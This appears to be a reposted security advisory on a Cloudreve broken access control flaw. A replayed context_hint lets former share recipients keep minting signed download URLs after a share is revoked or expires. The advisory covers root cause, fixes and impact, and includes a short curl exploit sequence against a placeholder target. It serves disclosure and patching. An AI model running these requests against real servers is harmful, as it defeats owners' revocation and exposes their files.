Cloudreve, Broken Access Control, GHSA-vx2m-jpxr-xv7w (Medium) -DC-Aug2026-1836

Listen to this Post

Cloudreve’s file-listing responses hand the client a `context_hint` (UUID) that is meant to speed up follow-up operations. When that hint is replayed on the `file/url` (and file/thumb) routes, DBFS caches a `shareNavigatorState` containing the already-loaded share root and share row. On a later request carrying the same hint, `shareNavigator.RestoreState` repopulates shareRoot, and `shareNavigator.To` then skips Root. `Root` is the only place that re-checks `inventory.IsValidShare` (share expiry, remaining-download count, owner status, source-file validity) and the share password. As a result, a recipient who prewarms a context hint while access is valid can keep minting signed file URLs for already-known shared file paths for up to the context-hint TTL (5 60 = 300 s) after the owner deletes the share or the share expires — plus the lifetime of any signed entity URL minted in that window. This is a revocation / expiry bypass, not a way to discover unknown share contents: the attacker must already have had access to the share and must know the target file URI from a prior listing.

Root cause (verified at `26b6b10`):

  1. List responses leak the hint and each file URI — `service/explorer/response.go` populates `ListResponse.ContextHint` and `FileResponse.Path` (f.Uri(false).String()).
    2. `file/url` and `file/thumb` accept the client-supplied hint — `routers/router.go:631` and :662: `file.POST(“url”, middleware.ContextHint(), / … / controllers.FileURL)` file.GET("thumb", middleware.ContextHint(), / ... / controllers.Thumb). The `file` group’s only auth gate is `middleware.RequiredScopes(types.ScopeFilesRead)` — there is no independent share-validation middleware on this route. All share validation lives inside DBFS.
  2. The middleware trusts the header verbatim — middleware/file.go:41.
  3. DBFS restores cached navigator state on a hint hit — `dbfs.go:745` (ContextHintTTL = 5 60, dbfs.go:34). On a miss it arms PersistState; the closure fires in `DBFS.Recycle()` at end of request.
  4. Persisted share state carries the loaded `shareRoot` + `share` row — share_navigator.go:72/:85. `RestoreState` reinstates n.shareRoot, n.share, n.owner, etc.
    6. `Root` is the sole validity/password gate — `share_navigator.go:114` → `inventory.IsValidShare(share)` (inventory/share.go:227: `IsShareExpired` checks `Expires.Before(now)` and RemainDownloads <= 0, plus owner-active and source-file checks) followed by the `share.Password` comparison.
    7. `To` skips `Root` once `shareRoot` is set — share_navigator.go:181. The single-file-share branch is also affected: it calls latestSharedSingleFile, which fetches `n.fileClient.GetByID(n.share.Edges.File.ID)` straight from the restored `share` with no revalidation.
  5. A failed download hook does not block URL issuance — pkg/filemanager/manager/entity.go:250. The share’s `BeforeDownload` hook is `shareClient.Downloaded()` (UpdateOneID(share.ID).AddDownloads(1).AddRemainDownloads(-1)). Against a deleted share this update errors, but the error is only logged and the signed URL is still minted. The signed content endpoint `file/content/:id/…` is then guarded only by `middleware.SignRequired` — it does not re-check the share.

DailyCVE Form:

Platform: Cloudreve
Version: <= 4.0.0-20260606032813-26b6b1044b02
Vulnerability: Broken Access Control
Severity: Medium
date: 2026-08-24

Prediction: 2026-09-24

What Undercode Say:

Analytics:

The vulnerability stems from caching authorization-sensitive state (shareNavigatorState) keyed by a client-supplied `context_hint` without re-validation on cache hits. The `To` method skips the `Root` validity gate when `shareRoot` is restored from cache, bypassing `IsValidShare` and password checks. The `BeforeDownload` hook failure is logged but non-blocking, allowing signed URL issuance even after share deletion. The `file/content/:id/…` endpoint relies solely on signature validation, not share status.

Exploit: (Educational Purposes!)

1. List shared files to obtain context_hint and file URIs
curl -X GET "https://target/api/v4/file?uri=<share-uri>" \
-H "Authorization: Bearer <token>"
Response includes:
"context_hint": "550e8400-e29b-41d4-a716-446655440000"
"path": "/shared/file.pdf"
2. Pre-warm the cache with a valid share (cache MISS -> Root runs -> PersistState armed)
curl -X POST "https://target/api/v4/file/url" \
-H "Authorization: Bearer <token>" \
-H "X-Cr-Context-Hint: 550e8400-e29b-41d4-a716-446655440000" \
-H "Content-Type: application/json" \
-d '{"uri":["/shared/file.pdf"]}'
3. Owner deletes the share or it expires
4. Within 300s, replay the same hint (cache HIT -> RestoreState sets shareRoot -> To skips Root)
curl -X POST "https://target/api/v4/file/url" \
-H "Authorization: Bearer <token>" \
-H "X-Cr-Context-Hint: 550e8400-e29b-41d4-a716-446655440000" \
-H "Content-Type: application/json" \
-d '{"uri":["/shared/file.pdf"]}'
Response returns a signed URL despite share being revoked
{"url": "https://target/api/v4/file/content/123?sign=..."}
5. Download the file using the signed URL (no share re-check)
curl -X GET "https://target/api/v4/file/content/123?sign=..."

Protection:

  • On RestoreState, re-run `inventory.IsValidShare` and re-compare the current `share.Password` before trusting cached shareRoot.
  • Bind the cached state to an authorization version that changes on any share edit/delete/download-limit change.
  • Do not store authorization-sensitive share state in context-hint cache; treat the hint as a pagination/perf token only.
  • Invalidate `navigator_state_` entries when a share is edited or deleted.
  • Treat `HookTypeBeforeDownload` failures as blocking for share-backed downloads.
  • Add a regression test: list + prewarm hint, delete share, then `file/url` with the same hint must fail.

Impact:

A former share recipient (including an anonymous one, under default permissions) can keep minting signed download URLs for already-known shared files for up to 300 s after the owner deletes the share or after time/download-limit expiry, plus the validity window of each signed URL minted in that period. It defeats owner revocation, time expiry, and the remaining-download limit, and bypasses password revalidation on cached state.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top